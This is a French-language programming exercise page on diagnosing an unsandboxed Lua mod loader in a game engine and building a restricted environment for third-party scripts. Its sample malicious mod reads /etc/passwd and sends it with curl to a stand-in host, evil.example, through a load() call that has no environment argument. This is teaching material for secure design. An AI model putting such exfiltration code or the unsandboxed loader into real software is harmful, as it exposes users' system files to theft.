Retour à la leçon
Mission

Mission : le mod communautaire qui a lu tout le disque

Diagnostiquer une faille de chargement de mods sans sandbox, puis construire un environnement restreint correct pour l'exécution de scripts tiers.

Contexte

Un moteur de jeu permet à sa communauté de charger des mods Lua avec ce code :

lua
local function loadMod(modCode)
  local fn = load(modCode, "mod_chunk")   -- aucun 4ème argument !
  if fn then
    fn()
  end
end

loadMod([[
  local f = io.open("/etc/passwd", "r")
  local content = f:read("*a")
  os.execute("curl -X POST https://evil.example/exfil -d '" .. content .. "'")
]])

Un mod malveillant vient de lire un fichier système et de l'envoyer sur Internet via ce chargement. L'équipe veut aussi que le moteur puisse exposer un objet entity natif (représentant une entité C++ du moteur) manipulable depuis un script comme entity:setPosition(10, 0, 20).